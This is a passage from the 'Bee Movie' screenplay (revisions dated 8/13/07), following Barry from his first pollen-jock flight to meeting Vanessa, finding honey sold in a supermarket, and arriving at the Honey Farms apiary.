tree tops in formation. Barry is euphoric. BARRY Whoa! I’m out! I can’t believe I’m out! So blue. Ha ha ha! (a beat) I feel so fast...and free. (re: kites in the sky) Box kite! Wow! They fly by several bicyclists, and approach a patch of flowers. BARRY (CONT'D) Flowers! SPLITZ This is blue leader. We have roses visual. Bring it around thirty degrees and hold. BARRY (sotto) Roses. JACKSON Thirty degrees, roger, bringing it around. Many pollen jocks break off from the main group. They use their equipment to collect nectar from flowers. Barry flies down to watch the jocks collect the nectar. JOCK Stand to the side kid, it’s got a bit of a kick. The jock fires the gun, and recoils. Barry watches the gun fill up with nectar. "Bee Movie" - JS REVISIONS 8/13/07 23. BARRY Oh, that is one Nectar Collector. JOCK You ever see pollination up close? BARRY No, Sir. He takes off, and the excess pollen dust falls causing the flowers to come back to life. JOCK (as he pollinates) I pick some pollen up over here, sprinkle it over here, maybe a dash over there, pinch on that one...see that? It’s a little bit of magic, ain’t it? The FLOWERS PERK UP as he pollinates. BARRY Wow. That’s amazing. Why do we do that? JOCK ...that’s pollen power, Kid. More pollen, more flowers, more nectar, more honey for us. BARRY Cool. The Jock WINKS at Barry. Barry rejoins the other jocks in the sky. They swoop in over a pond, kissing the surface. We see their image reflected in the water; they’re really moving. They fly over a fountain. BUZZ I’m picking up a lot of bright yellow, could be daisies. Don’t we need those? SPLITZ Copy that visual. We see what appear to be yellow flowers on a green field. "Bee Movie" - JS REVISIONS 8/13/07 24. They go into a deep bank and dive. BUZZ Hold on, one of these flowers seems to be on the move. SPLITZ Say again...Are you reporting a moving flower? BUZZ Affirmative. SEQ. 900 - “TENNIS GAME” The pollen jocks land. It is a tennis court with dozens of tennis balls. A COUPLE, VANESSA and KEN, plays tennis. The bees land right in the midst of a group of balls. KEN (O.C) That was on the line! The other bees start walking around amongst the immense, yellow globes. SPLITZ This is the coolest. What is it? They stop at a BALL on a white line and look up at it. JACKSON I don’t know, but I’m loving this color. SPLITZ (smelling tennis ball) Smells good. Not like a flower. But I like it. JACKSON Yeah, fuzzy. BUZZ Chemical-y. JACKSON Careful, guys, it’s a little grabby. Barry LANDS on a ball and COLLAPSES. "Bee Movie" - JS REVISIONS 8/13/07 25. BARRY Oh my sweet lord of bees. JACKSON Hey, candy brain, get off there! Barry attempts to pulls his legs off, but they stick. BARRY Problem! A tennis shoe and a hand ENTER FRAME. The hand picks up the ball with Barry underneath it. BARRY (CONT'D) Guys! BUZZ This could be bad. JACKSON Affirmative. Vanessa walks back to the service line, BOUNCES the ball. Each time it BOUNCES, the other bees cringe and GASP. ANGLE ON: Barry, terrified. Pure dumb luck, he’s not getting squished. BARRY (with each bounce) Very close...Gonna Hurt...Mamma’s little boy. SPLITZ You are way out of position, rookie. ANGLE ON: Vanessa serving. We see Barry and the ball up against the racket as she brings it back. She tosses the ball into the air; Barry’s eyes widen. The ball is STRUCK, and the rally is on. KEN Coming in at you like a missile! Ken HITS the ball back. Barry feels the g-forces. ANGLE ON: The Pollen Jocks watching Barry pass by them in SLOW MOTION. "Bee Movie" - JS REVISIONS 8/13/07 26. BARRY (in slow motion) Help me! JACKSON You know, I don't think these are flowers. SPLITZ Should we tell him? JACKSON I think he knows. BARRY (O.S) What is this?! Vanessa HITS a high arcing lob. Ken waits, poised for the return. We see Barry having trouble maneuvering the ball from fatigue. KEN (overly confident) Match point! ANGLE ON: Ken running up. He has a killer look in his eyes. He’s going to hit the ultimate overhead smash. KEN (CONT'D) You can just start packing up Honey, because I believe you’re about to eat it! ANGLE ON: Pollen Jocks. JACKSON Ahem! Ken is distracted by the jock. KEN What? No! He misses badly. The ball rockets into oblivion. Barry is still hanging on. ANGLE ON: Ken, berating himself. KEN (CONT’D) Oh, you cannot be serious. We hear the ball WHISTLING, and Barry SCREAMING. "Bee Movie" - JS REVISIONS 8/13/07 27. BARRY Yowser!!! SEQ. 1000 - “SUV” The ball flies through the air, and lands in the middle of the street. It bounces into the street again, and sticks in the grille of an SUV. INT. CAR ENGINE - CONTINUOUS BARRY’S POV: the grille of the SUV sucks him up. He tumbles through a black tunnel, whirling vanes, and pistons. BARRY AHHHHHHHHHHH!! OHHHH!! EECHHH!! AHHHHHH!! Barry gets chilled by the A/C system, and sees a frozen grasshopper. BARRY (CONT’D) (re: grasshopper) Eww, gross. CUT TO: INT. CAR - CONTINUOUS The car is packed with a typical suburban family: MOTHER, FATHER, eight-year old BOY, LITTLE GIRL in a car seat and a GRANDMOTHER. A big slobbery DOG is behind a grate. Barry pops into the passenger compartment, hitting the Mother’s magazine. MOTHER There’s a bee in the car! They all notice the bee and start SCREAMING. BARRY Aaahhhh! Barry tumbles around the car. We see the faces from his POV. MOTHER Do something! "Bee Movie" - JS REVISIONS 8/13/07 28. FATHER I’m driving! Barry flies by the little girl in her CAR SEAT. She waves hello. LITTLE GIRL Hi, bee. SON He’s back here! He’s going to sting me! The car SWERVES around the road. Barry flies into the back, where the slobbery dog SNAPS at him. Barry deftly avoids the jaws and gross, flying SPITTLE. MOTHER Nobody move. If you don’t move, he won’t sting you. Freeze! Everyone in the car freezes. Barry freezes. They stare at each other, eyes going back and forth, waiting to see who will make the first move. Barry blinks. GRANNY He blinked! Granny pulls out a can of HAIR SPRAY. SON Spray him, Granny! Granny sprays the hair spray everywhere. FATHER What are you doing? GRANNY It’s hair spray! Extra hold! MOTHER Kill it! Barry gets sprayed back by the hair spray, then sucked out of the sunroof. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 29. EXT. CITY STREET - CONTINUOUS BARRY Wow. The tension level out here is unbelievable. I’ve got to get home. As Barry flies down the street, it starts to RAIN. He nimbly avoids the rain at first. BARRY (CONT’D) Whoa. Whoa! Can’t fly in rain! Can’t fly in rain! Can’t fly in-- A couple of drops hit him, his wings go limp and he starts falling. BARRY (CONT'D) Mayday! Mayday! Bee going down! Barry sees a window ledge and aims for it and just makes it. Shivering and exhausted, he crawls into an open window as it CLOSES. SEQ. 1100 - “VANESSA SAVES BARRY” INT. VANESSA’S APARTMENT - CONTINUOUS Inside the window, Barry SHAKES off the rain like a dog. Vanessa, Ken, Andy, and Anna ENTER the apartment. VANESSA Ken, can you close the window please? KEN Huh? Oh. (to Andy) Hey, check out my new resume. I made it into a fold-out brochure. You see? It folds out. Ken holds up his brochure, with photos of himself, and a resume in the middle. ANGLE ON: Barry hiding behind the curtains, as Ken CLOSES THE WINDOW. "Bee Movie" - JS REVISIONS 8/13/07 30. BARRY Oh no, more humans. I don’t need this. Barry HOVERS up into the air and THROWS himself into the glass. BARRY (CONT’D) (dazed) Ow! What was that? He does it again, and then multiple more times. BARRY (CONT'D) Maybe this time...this time, this time, this time, this time, this time, this time, this time. Barry JUMPS onto the drapes. BARRY (CONT'D) (out of breath) Drapes! (then, re: glass) That is diabolical. KEN It’s fantastic. It’s got all my special skills, even my top ten favorite movies. ANDY What’s your number one? Star Wars? KEN Ah, I don’t go for that, (makes Star Wars noises), kind of stuff. ANGLE ON: Barry. BARRY No wonder we’re not supposed to talk to them. They’re out of their minds. KEN When I walk out of a job interview they’re flabbergasted. They can’t believe the things I say. Barry looks around and sees the LIGHT BULB FIXTURE in the middle of the ceiling. "Bee Movie" - JS REVISIONS 8/13/07 31. BARRY (re: light bulb) Oh, there’s the sun. Maybe that’s a way out. Barry takes off and heads straight for the light bulb. His POV: The seventy-five watt label grows as he gets closer. BARRY (CONT’D) I don’t remember the sun having a big seventy five on it. Barry HITS the bulb and is KNOCKED SILLY. He falls into a BOWL OF GUACAMOLE. Andy dips his chip in the guacamole, taking Barry with it. ANGLE ON: Ken and Andy. KEN I’ll tell you what. You know what? I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Barry’s POV: Giant human mouth opening. KEN (CONT’D) Wait! Stop! Beeeeeee! ANNA Kill it! Kill it! They all JUMP up from their chairs. Andy looks around for something to use. Ken comes in for the kill with a big TIMBERLAND BOOT on each hand. KEN Stand back. These are winter boots. Vanessa ENTERS, and stops Ken from squashing Barry. VANESSA (grabs Ken’s arm) Wait. Don’t kill him. CLOSE UP: on Barry’s puzzled face. KEN You know I’m allergic to them. This thing could kill me. "Bee Movie" - JS REVISIONS 8/13/07 32. VANESSA Why does his life have any less value than yours? She takes a GLASS TUMBLER and places it over Barry. KEN Why does his life have any less value than mine? Is that your statement? VANESSA I’m just saying, all life has value. You don’t know what he’s capable of feeling. Barry looks up through the glass and watches this conversation, astounded. Vanessa RIPS Ken’s resume in half and SLIDES it under the glass. KEN (wistful) My brochure. There’s a moment of eye contact as she carries Barry to the window. She opens it and sets him free. VANESSA There you go, little guy. KEN (O.C) I’m not scared of them. But, you know, it’s an allergic thing. ANDY (O.C) * Hey, why don’t you put that on your * resume-brochure? * KEN (O.C) It’s not funny, my whole face could puff up. ANDY (O.C) Make it one of your “Special Skills.” KEN (O.C) You know, knocking someone out is also a special skill. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 33. EXT. WINDOWSILL - CONTINUOUS Barry stares over the window frame. He can’t believe what’s just happened. It is still RAINING. DISSOLVE TO: SEQ. 1200 - “BARRY SPEAKS” EXT. WINDOWSILL - LATER Barry is still staring through the window. Inside, everyone’s saying their good-byes. KEN Vanessa, next week? Yogurt night? VANESSA Uh, yeah sure Ken. You know, whatever. KEN You can put carob chips on there. VANESSA Good night. KEN (as he exits) Supposed to be less calories, or something. VANESSA Bye. She shuts the door. Vanessa starts cleaning up. BARRY I’ve got to say something. She saved my life. I’ve got to say something. Alright, here it goes. Barry flies in. "Bee Movie" - JS REVISIONS 8/13/07 34. INT. VANESSA’S APARTMENT - CONTINUOUS Barry hides himself on different PRODUCTS placed along the kitchen shelves. He hides on a Bumblebee Tuna can, and a “Greetings From Coney Island” MUSCLE-MAN POSTCARD on the fridge. BARRY (on fridge) What would I say? (landing on a bottle) I could really get in trouble. He stands looking at Vanessa. BARRY (CONT'D) It’s a bee law. You’re not supposed to talk to a human. I can’t believe I’m doing this. I’ve got to. Oh, I can’t do it! Come on! No, yes, no, do it! I can’t. How should I start it? You like jazz? No, that’s no good. Here she comes. Speak, you fool. As Vanessa walks by, Barry takes a DEEP BREATH. BARRY (CONT’D) (cheerful) Umm...hi. Vanessa DROPS A STACK OF DISHES, and HOPS BACK. BARRY (CONT’D) I’m sorry. VANESSA You’re talking. BARRY Yes, I know, I know. VANESSA You’re talking. BARRY I know, I’m sorry. I’m so sorry. VANESSA It’s okay. It’s fine. It’s just, I know I’m dreaming, but I don’t recall going to bed. "Bee Movie" - JS REVISIONS 8/13/07 35. BARRY Well, you know I’m sure this is very disconcerting. VANESSA Well yeah. I mean this is a bit of a surprise to me. I mean...you’re a bee. BARRY Yeah, I am a bee, and you know I’m not supposed to be doing this, but they were all trying to kill me and if it wasn’t for you...I mean, I had to thank you. It’s just the way I was raised. Vanessa intentionally JABS her hand with a FORK. VANESSA Ow! BARRY That was a little weird. VANESSA (to herself) I’m talking to a bee. BARRY Yeah. VANESSA I’m talking to a bee. BARRY Anyway... VANESSA And a bee is talking to me... BARRY I just want you to know that I’m grateful, and I’m going to leave now. VANESSA Wait, wait, wait, wait, how did you learn to do that? BARRY What? "Bee Movie" - JS REVISIONS 8/13/07 36. VANESSA The talking thing. BARRY Same way you did, I guess. Mama, Dada, honey, you pick it up. VANESSA That’s very funny. BARRY Yeah. Bees are funny. If we didn’t laugh, we’d cry. With what we have to deal with. Vanessa LAUGHS. BARRY (CONT’D) Anyway. VANESSA Can I, uh, get you something? BARRY Like what? VANESSA I don’t know. I mean, I don’t know. Coffee? BARRY Well, uh, I don’t want to put you out. VANESSA It’s no trouble. BARRY Unless you’re making anyway. VANESSA Oh, it takes two minutes. BARRY Really? VANESSA It’s just coffee. BARRY I hate to impose. "Bee Movie" - JS REVISIONS 8/13/07 37. VANESSA Don’t be ridiculous. BARRY Actually, I would love a cup. VANESSA Hey, you want a little rum cake? BARRY I really shouldn’t. VANESSA Have a little rum cake. BARRY No, no, no, I can’t. VANESSA Oh, come on. BARRY You know, I’m trying to lose a couple micrograms here. VANESSA Where? BARRY Well... These stripes don’t help. VANESSA You look great. BARRY I don’t know if you know anything about fashion. Vanessa starts POURING the coffee through an imaginary cup and directly onto the floor. BARRY (CONT'D) Are you alright? VANESSA No. DISSOLVE TO: SEQ. 1300 - “ROOFTOP COFFEE” "Bee Movie" - JS REVISIONS 8/13/07 38. EXT. VANESSA’S ROOF - LATER Barry and Vanessa are drinking coffee on her roof terrace. He is perched on her keychain. BARRY ...He can’t get a taxi. He’s making the tie in the cab, as they’re flying up Madison. So he finally gets there. VANESSA Uh huh? BARRY He runs up the steps into the church, the wedding is on... VANESSA Yeah? BARRY ...and he says, watermelon? I thought you said Guatemalan. VANESSA Uh huh? BARRY Why would I marry a watermelon? Barry laughs. Vanessa doesn’t. VANESSA Oh! Is that, uh, a bee joke? BARRY Yeah, that’s the kind of stuff that we do. VANESSA Yeah, different. A BEAT. VANESSA (CONT’D) So anyway...what are you going to do, Barry? "Bee Movie" - JS REVISIONS 8/13/07 39. BARRY About work? I don’t know. I want to do my part for the hive, but I can’t do it the way they want. VANESSA I know how you feel. BARRY You do? VANESSA Sure, my parents wanted me to be a lawyer or doctor, but I wanted to be a florist. BARRY Really? VANESSA My only interest is flowers. BARRY Our new queen was just elected with that same campaign slogan. VANESSA Oh. BARRY Anyway, see there’s my hive, right there. You can see it. VANESSA Oh, you’re in Sheep Meadow. BARRY (excited) Yes! You know the turtle pond? VANESSA Yes? BARRY I’m right off of that. VANESSA Oh, no way. I know that area. Do you know I lost a toe-ring there once? BARRY Really? "Bee Movie" - JS REVISIONS 8/13/07 40. VANESSA Yes. BARRY Why do girls put rings on their toes? VANESSA Why not? BARRY I don’t know. It’s like putting a hat on your knee. VANESSA Really? Okay. A JANITOR in the background changes a LIGHTBULB. To him, it appears that Vanessa is talking to an imaginary friend. JANITOR You all right, ma’am? VANESSA Oh, yeah, fine. Just having two cups of coffee. BARRY Anyway, this has been great. (wiping his mouth) Thanks for the coffee. Barry gazes at Vanessa. VANESSA Oh yeah, it’s no trouble. BARRY Sorry I couldn’t finish it. Vanessa giggles. BARRY (CONT'D) (re: coffee) If I did, I’d be up the rest of my life. Ummm. Can I take a piece of this with me? VANESSA Sure. Here, have a crumb. She takes a CRUMB from the plate and hands it to Barry. "Bee Movie" - JS REVISIONS 8/13/07 41. BARRY (a little dreamy) Oh, thanks. VANESSA Yeah. There is an awkward pause. BARRY Alright, well then, I guess I’ll see you around, or not, or... VANESSA Okay Barry. BARRY And thank you so much again, for before. VANESSA Oh that? BARRY Yeah. VANESSA Oh, that was nothing. BARRY Well, not nothing, but, anyway... Vanessa extends her hand, and shakes Barry’s gingerly. The Janitor watches. The lightbulb shorts out. The Janitor FALLS. CUT TO: SEQ. 1400 - “HONEX” INT. HONEX BUILDING - NEXT DAY ANGLE ON: A TEST BEE WEARING A PARACHUTE is in a wind tunnel, hovering through increasingly heavy wind. SIGNS UNDER A FLASHING LIGHT READ: “Test In Progress” & “Hurricane Survival Test”. 2 BEES IN A LAB COATS are observing behind glass. "Bee Movie" - JS REVISIONS 8/13/07 42. LAB COAT BEE 1 This can’t possibly work. LAB COAT BEE 2 Well, he’s all set to go, we may as well try it. (into the mic) Okay Dave, pull the chute. The test bee opens his parachute. He’s instantly blown against the rear wall. Adam and Barry ENTER. ADAM Sounds amazing. BARRY Oh, it was amazing. It was the scariest, happiest moment of my life. ADAM Humans! Humans! I can’t believe you were with humans! Giant scary humans! What were they like? BARRY Huge and crazy. They talk crazy, they eat crazy giant things. They drive around real crazy. ADAM And do they try and kill you like on TV? BARRY Some of them. But some of them don’t. ADAM How’d you get back? BARRY Poodle. ADAM Look, you did it. And I’m glad. You saw whatever you wanted to see out there, you had your “experience”, and now you’re back, you can pick out your job, and everything can be normal. "Bee Movie" - JS REVISIONS 8/13/07 43. ANGLE ON: LAB BEES examining a CANDY CORN through a microscope. BARRY Well... ADAM Well? BARRY Well, I met someone. ADAM You met someone? Was she Bee-ish? BARRY Mmm. ADAM Not a WASP? Your parents will kill you. BARRY No, no, no, not a wasp. ADAM Spider? BARRY You know, I’m not attracted to the spiders. I know to everyone else it’s like the hottest thing with the eight legs and all. I can’t get by that face. Barry makes a spider face. ADAM So, who is she? BARRY She’s a human. ADAM Oh no, no, no, no. That didn’t happen. You didn’t do that. That is a bee law. You wouldn’t break a bee law. BARRY Her name’s Vanessa. "Bee Movie" - JS REVISIONS 8/13/07 44. ADAM Oh, oh boy! BARRY She’s so-o nice. And she’s a florist! ADAM Oh, no. No, no, no! You’re dating a human florist? BARRY We’re not dating. ADAM You’re flying outside the hive. You’re talking to human beings that attack our homes with power washers and M-80’s. That’s 1/8 of a stick of dynamite. BARRY She saved my life. And she understands me. ADAM This is over. Barry pulls out the crumb. BARRY Eat this. Barry stuffs the crumb into Adam’s face. ADAM This is not over. What was that? BARRY They call it a crumb. ADAM That was SO STINGING STRIPEY! BARRY And that’s not even what they eat. That just falls off what they eat. Do you know what a Cinnabon is? ADAM No. "Bee Movie" - JS REVISIONS 8/13/07 45. BARRY It’s bread... ADAM Come in here! BARRY and cinnamon, ADAM Be quiet! BARRY and frosting...they heat it up-- ADAM Sit down! INT. ADAM’S OFFICE - CONTINUOUS BARRY Really hot! ADAM Listen to me! We are not them. We’re us. There’s us and there’s them. BARRY Yes, but who can deny the heart that is yearning... Barry rolls his chair down the corridor. ADAM There’s no yearning. Stop yearning. Listen to me. You have got to start thinking bee, my friend. ANOTHER BEE JOINS IN. ANOTHER BEE Thinking bee. WIDER SHOT AS A 3RD BEE ENTERS, popping up over the cubicle wall. 3RD BEE Thinking bee. EVEN WIDER SHOT AS ALL THE BEES JOIN IN. "Bee Movie" - JS REVISIONS 8/13/07 46. OTHER BEES Thinking bee. Thinking bee. Thinking bee. CUT TO: SEQ. 1500 - “POOLSIDE NAGGING” EXT. BACKYARD PARENT’S HOUSE - DAY Barry sits on a RAFT in a hexagon honey pool, legs dangling into the water. Janet Benson and Martin Benson stand over him wearing big, sixties sunglasses and cabana-type outfits. The sun shines brightly behind their heads. JANET BENSON (O.C) There he is. He’s in the pool. MARTIN BENSON You know what your problem is, Barry? BARRY I’ve got to start thinking bee? MARTIN BENSON Barry, how much longer is this going to go on? It’s been three days. I don’t understand why you’re not working. BARRY Well, I’ve got a lot of big life decisions I’m thinking about. MARTIN BENSON What life? You have no life! You have no job! You’re barely a bee! Barry throws his hands in the air. BARRY Augh. JANET BENSON Would it kill you to just make a little honey? Barry ROLLS off the raft and SINKS to the bottom of the pool. We hear his parents’ MUFFLED VOICES from above the surface. "Bee Movie" - JS REVISIONS 8/13/07 47. JANET BENSON (CONT'D) (muffled) Barry, come out from under there. Your father’s talking to you. Martin, would you talk to him? MARTIN BENSON Barry, I’m talking to you. DISSOLVE TO: EXT. PICNIC AREA - DAY MUSIC: “Sugar Sugar” by the Archies. Barry and Vanessa are having a picnic. A MOSQUITO lands on Vanessa’s leg. She SWATS it violently. Barry’s head whips around, aghast. They stare at each other awkwardly in a frozen moment, then BURST INTO HYSTERICAL LAUGHTER. Vanessa GETS UP. VANESSA You coming? BARRY Got everything? VANESSA All set. Vanessa gets into a one-man Ultra Light plane with a black and yellow paint scheme. She puts on her helmet. BARRY You go ahead, I’ll catch up. VANESSA (come hither wink) Don’t be too long. The Ultra Light takes off. Barry catches up. They fly sideby-side. VANESSA (CONT’D) Watch this! Vanessa does a loop, and FLIES right into the side of a mountain, BURSTING into a huge ball of flames. "Bee Movie" - JS REVISIONS 8/13/07 48. BARRY (yelling, anguished) Vanessa! EXT. BARRY’S PARENT’S HOUSE - CONTINUOUS ANGLE ON: Barry’s face bursting through the surface of the pool, GASPING for air, eyes opening in horror. MARTIN BENSON We’re still here, Barry. JANET BENSON I told you not to yell at him. He doesn’t respond when you yell at him. MARTIN BENSON Then why are you yelling at me? JANET BENSON Because you don’t listen. MARTIN BENSON I’m not listening to this. Barry is toweling off, putting on his sweater. BARRY Sorry Mom, I’ve got to go. JANET BENSON Where are you going? BARRY Nowhere. I’m meeting a friend. Barry JUMPS off the balcony and EXITS. JANET BENSON (calling after him) A girl? Is this why you can’t decide? BARRY Bye! JANET BENSON I just hope she’s Bee-ish. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 49. SEQ. 1700 - “STREETWALK/SUPERMARKET” EXT. VANESSA’S FLORIST SHOP - DAY Vanessa FLIPS the sign to say “Sorry We Missed You”, and locks the door. ANGLE ON: A POSTER on Vanessa’s door for the Tournament of Roses Parade in Pasadena. BARRY So they have a huge parade of just flowers every year in Pasadena? VANESSA Oh, to be in the Tournament of Roses, that’s every florist’s dream. Up on a float, surrounded by flowers, crowds cheering. BARRY Wow, a tournament. Do the roses actually compete in athletic events? VANESSA No. Alright, I’ve got one. How come you don’t fly everywhere? BARRY It’s exhausting. Why don’t you run everywhere? VANESSA Hmmm. BARRY Isn’t that faster? VANESSA Yeah, okay. I see, I see. Alright, your turn. Barry and Vanessa walk/fly down a New York side street, no other pedestrians near them. BARRY Ah! Tivo. You can just freeze live TV? That’s insane. "Bee Movie" - JS REVISIONS 8/13/07 50. VANESSA What, you don’t have anything like that? BARRY We have Hivo, but it’s a disease. It’s a horrible, horrible disease. VANESSA Oh my. They turn the corner onto a busier avenue and people start to swat at Barry. MAN Dumb bees! VANESSA You must just want to sting all those jerks. BARRY We really try not to sting. It’s usually fatal for us. VANESSA So you really have to watch your temper? They ENTER a SUPERMARKET. CUT TO: INT. SUPERMARKET BARRY Oh yeah, very carefully. You kick a wall, take a walk, write an angry letter and throw it out. You work through it like any emotion-- anger, jealousy, (under his breath) lust. Barry hops on top of some cardboard boxes in the middle of an aisle. A stock boy, HECTOR, whacks him with a rolled up magazine. VANESSA (to Barry) Oh my goodness. Are you okay? "Bee Movie" - JS REVISIONS 8/13/07 51. BARRY Yeah. Whew! Vanessa WHACKS Hector over the head with the magazine. VANESSA (to Hector) What is wrong with you?! HECTOR It’s a bug. VANESSA Well he’s not bothering anybody. Get out of here, you creep. Vanessa pushes him, and Hector EXITS, muttering. BARRY (shaking it off) What was that, a Pick and Save circular? VANESSA Yeah, it was. How did you know? BARRY It felt like about ten pages. Seventy-five’s pretty much our limit. VANESSA Boy, you’ve really got that down to a science. BARRY Oh, we have to. I lost a cousin to Italian Vogue. VANESSA I’ll bet. Barry stops, sees the wall of honey jars. BARRY What, in the name of Mighty Hercules, is this? How did this get here? Cute Bee? Golden Blossom? Ray Liotta Private Select? VANESSA Is he that actor? "Bee Movie" - JS REVISIONS 8/13/07 52. BARRY I never heard of him. Why is this here? VANESSA For people. We eat it. BARRY Why? (gesturing around the market) You don’t have enough food of your own? VANESSA Well yes, we-- BARRY How do you even get it? VANESSA Well, bees make it... BARRY I know who makes it! And it’s hard to make it! There’s Heating and Cooling, and Stirring...you need a whole Krelman thing. VANESSA It’s organic. BARRY It’s our-ganic! VANESSA It’s just honey, Barry. BARRY Just...what?! Bees don’t know about this. This is stealing. A lot of stealing! You’ve taken our homes, our schools, our hospitals. This is all we have. And it’s on sale? I’m going to get to the bottom of this. I’m going to get to the bottom of all of this! He RIPS the label off the Ray Liotta Private Select. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 53. SEQ. 1800 - “WINDSHIELD” EXT. BACK OF SUPERMARKET LOADING DOCK - LATER THAT DAY Barry disguises himself by blacking out his yellow lines with a MAGIC MARKER and putting on some war paint. He sees Hector, the stock boy, with a knife CUTTING open cardboard boxes filled with honey jars. MAN You almost done? HECTOR Almost. Barry steps in some honey, making a SNAPPING noise. Hector stops and turns. HECTOR (CONT’D) He is here. I sense it. Hector grabs his BOX CUTTER. Barry REACTS, hides himself behind the box again. HECTOR (CONT’D) (talking too loud, to no one in particular) Well, I guess I’ll go home now, and just leave this nice honey out, with no one around. A BEAT. Hector pretends to exit. He takes a couple of steps in place. ANGLE ON: The honey jar. Barry steps out into a moody spotlight. BARRY You’re busted, box boy! HECTOR Ah ha! I knew I heard something. So, you can talk. Barry flies up, stinger out, pushing Hector up against the wall. As Hector backs up, he drops his knife. BARRY Oh, I can talk. And now you’re going to start talking. "Bee Movie" - JS REVISIONS 8/13/07 54. Where are you getting all the sweet stuff? Who’s your supplier?! HECTOR I don’t know what you’re talking about. I thought we were all friends. The last thing we want to do is upset any of you...bees! Hector grabs a PUSHPIN. Barry fences with his stinger. HECTOR (CONT’D) You’re too late. It’s ours now! BARRY You, sir, have crossed the wrong sword. HECTOR You, sir, are about to be lunch for my iguana, Ignacio! Barry and Hector get into a cross-swords, nose-to-nose confrontation. BARRY Where is the honey coming from? Barry knocks the pushpin out of his hand. Barry puts his stinger up to Hector’s nose. BARRY (CONT'D) Tell me where?! HECTOR (pointing to a truck) Honey Farms. It comes from Honey Farms. ANGLE ON: A Honey Farms truck leaving the parking lot. Barry turns, takes off after the truck through an alley. He follows the truck out onto a busy street, dodging a bus, and several cabs. CABBIE Crazy person! He flies through a metal pipe on the top of a truck. BARRY OOOHHH! "Bee Movie" - JS REVISIONS 8/13/07 55. BARRY (CONT'D) Barry grabs onto a bicycle messenger’s backpack. The honey farms truck starts to pull away. Barry uses the bungee cord to slingshot himself towards the truck. He lands on the windshield, where the wind plasters him to the glass. He looks up to find himself surrounded by what appear to be DEAD BUGS. He climbs across, working his way around the bodies. BARRY (CONT’D) Oh my. What horrible thing has happened here? Look at these faces. They never knew what hit them. And now they’re on the road to nowhere. A MOSQUITO opens his eyes. MOOSEBLOOD Pssst! Just keep still. BARRY What? You’re not dead? MOOSEBLOOD Do I look dead? Hey man, they will wipe anything that moves. Now, where are you headed? BARRY To Honey Farms. I am onto something huge here. MOOSEBLOOD I’m going to Alaska. Moose blood. Crazy stuff. Blows your head off. LADYBUG I’m going to Tacoma. BARRY (to fly) What about you? MOOSEBLOOD He really is dead. BARRY Alright. The WIPER comes towards them. "Bee Movie" - JS REVISIONS 8/13/07 56. MOOSEBLOOD Uh oh. BARRY What is that? MOOSEBLOOD Oh no! It’s a wiper, triple blade! BARRY Triple blade? MOOSEBLOOD Jump on. It’s your only chance, bee. They hang on as the wiper goes back and forth. MOOSEBLOOD (CONT'D) (yelling to the truck driver through the glass) Why does everything have to be so dog-gone clean?! How much do you people need to see? Open your eyes! Stick your head out the window! CUT TO: INT. TRUCK CAB SFX: Radio. RADIO VOICE For NPR News in Washington, I’m Carl Kasell. EXT. TRUCK WINDSHIELD MOOSEBLOOD But don’t kill no more bugs! The Mosquito is FLUNG off of the wiper. MOOSEBLOOD (CONT'D) Beeeeeeeeeeeeee! BARRY Moose blood guy! "Bee Movie" - JS REVISIONS 8/13/07 57. Barry slides toward the end of the wiper, is thrown off, but he grabs the AERIAL and hangs on for dear life. Barry looks across and sees a CRICKET on another vehicle in the exact same predicament. They look at each other and SCREAM in unison. BARRY AND CRICKET Aaaaaaaaaah! ANOTHER BUG grabs onto the aerial, and screams as well. INT. TRUCK CAB - SAME TIME DRIVER You hear something? TRUCKER PASSENGER Like what? DRIVER Like tiny screaming. TRUCKER PASSENGER Turn off the radio. The driver reaches down and PRESSES a button, lowering the aerial. EXT. TRUCK WINDSHIELD - SAME TIME Barry and the other bug do a “choose up” to the bottom, Barry wins. BARRY Aha! Then he finally has to let go and gets thrown into the truck horn atop cab. Mooseblood is inside. MOOSEBLOOD Hey, what’s up bee boy? BARRY Hey, Blood! DISSOLVE TO: "Bee Movie" - JS REVISIONS 8/13/07 58. INT. TRUCK HORN - LATER BARRY ...and it was just an endless row of honey jars as far as the eye could see. MOOSEBLOOD Wow. BARRY So I’m just assuming wherever this honey truck goes, that’s where they’re getting it. I mean, that honey’s ours! MOOSEBLOOD Bees hang tight. BARRY Well, we’re all jammed in there. It’s a close community. MOOSEBLOOD Not us, man. We’re on our own. Every mosquito is on his own. BARRY But what if you get in trouble? MOOSEBLOOD Trouble? You're a mosquito. You're in trouble! Nobody likes us. They’re just all smacking. People see a mosquito, smack, smack! BARRY At least you’re out in the world. You must meet a lot of girls. MOOSEBLOOD Mosquito girls try to trade up; get with a moth, dragonfly...mosquito girl don’t want no mosquito. A BLOOD MOBILE pulls up alongside. MOOSEBLOOD (CONT'D) Whoa, you have got to be kidding me. Mooseblood’s about to leave the building. So long bee. "Bee Movie" - JS REVISIONS 8/13/07 59. Mooseblood EXITS the horn, and jumps onto the blood mobile. MOOSEBLOOD (CONT'D) Hey guys. I knew I’d catch you all down here. Did you bring your crazy straws? CUT TO: SEQ. 1900 - “THE APIARY” EXT. APIARY - LATER Barry sees a SIGN, “Honey Farms” The truck comes to a stop. SFX: The Honey farms truck blares its horn. Barry flies out, lands on the hood. ANGLE ON: Two BEEKEEPERS, FREDDY and ELMO, walking around to the back of the gift shop. Barry follows them, and lands in a nearby tree FREDDY ...then we throw it in some jars, slap a label on it, and it’s pretty much pure profit. BARRY What is this place? ELMO Bees got a brain the size of a pinhead. FREDDY They are pinheads. The both LAUGH. ANGLE ON: Barry REACTING. They arrive at the back of the shop where one of them opens a SMOKER BOX. FREDDY (CONT’D) Hey, check out the new smoker. "Bee Movie" - JS REVISIONS 8/13/07 60. ELMO Oh, Sweet. That’s the one you want. FREDDY The Thomas 3000. BARRY Smoker? FREDDY 90 puffs a minute, semi-automatic. Twice the nicotine, all the tar. They LAUGH again, nefariously. FREDDY (CONT’D) Couple of breaths of this, and it knocks them right out. They make the honey, and we make the money. BARRY “They make the honey, and we make the money?” Barry climbs onto the netting of Freddy’s hat. He climbs up to the brim and looks over the edge. He sees the apiary boxes as Freddy SMOKES them. BARRY (CONT'D) Oh my. As Freddy turns around, Barry jumps into an open apiary box, and into an apartment. HOWARD and FRAN are just coming to from the smoking. BARRY (CONT’D) What’s going on? Are you okay? HOWARD Yeah, it doesn’t last too long. HE COUGHS a few times. BARRY How did you two get here? Do you know you’re in a fake hive with fake walls? HOWARD (pointing to a picture on the wall) 